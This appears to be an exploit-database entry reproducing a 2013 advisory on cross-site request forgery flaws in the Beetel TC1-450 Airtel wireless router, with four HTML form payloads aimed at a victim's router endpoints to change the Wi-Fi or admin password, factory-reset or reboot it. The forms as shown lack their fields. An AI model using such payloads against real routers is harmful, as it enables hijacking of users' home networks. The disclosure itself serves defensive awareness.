发布 2013-12-16 漏洞条目

Beetel TC1-450 Airtel Wireless Router – Multiple Cross-Site Request Forgery Vulnerabilities

Exploit Source

# Exploit Title: Beetel TC1-450 Airtel Wireless Router - Multiple CSRF Vulnerabilities

# Date: 12/13/2013

# Author: SaMaN( @samanL33T )

# Vendor Homepage:http://www.beetel.in/node/10139

# Category: Hardware/Wireless Router

# Firmware Version: TM4-0Q-020 and below

# Tested on: Beetel 450-TC1 Wireless Router

# Patch/ Fix: Upgrade to latest firmware version/ move to Beetle 450-TC2

---------------------------------------------------

Technical Details

~~~~~~~~~~~~~~~~~~

Beetel 450-TC1 Wireless Router has a Cross Site Request Forgery Vulnerability in its Web Console. Attacker can easily change Wireless password,Reboot Router, Reset Router,Change Router's Admin Password by simply making the user visit a CSRF link.

Exploit Code

~~~~~~~~~~~~~

Change Wifi (WPA2/PSK) password by CSRF

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>

<form action="http://[VICTIM_IP]/Forms/home_wlan_1"

method="POST" name="form">

</form>

</body>

</html>

Factory Reset Router Settings by CSRF

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>

<form action="http://[VICTIM_IP]/Forms/tools_system_1"

method="POST" name="form">

</form>

</body>

</html>

Change Router's Admin Password by CSRF

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>

<form action="http://[VICTIM_IP]/Forms/tools_admin_1"

method="POST" name="form">

</form>

</body>

</html>

Restart Router by CSRF

~~~~~~~~~~~~~~~~~~~~~~

<html>

<form action="http://[VICTIM_IP]/Forms/tools_system_1"

method="POST" name="form">

</form>

</body>

</html>

SaMaN

twitter : @samanL33T <https://twitter.com/samanL33T>

作者: Samandeep Singh
日期: 2013-12-16
类别: webapps
平台: hardware

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection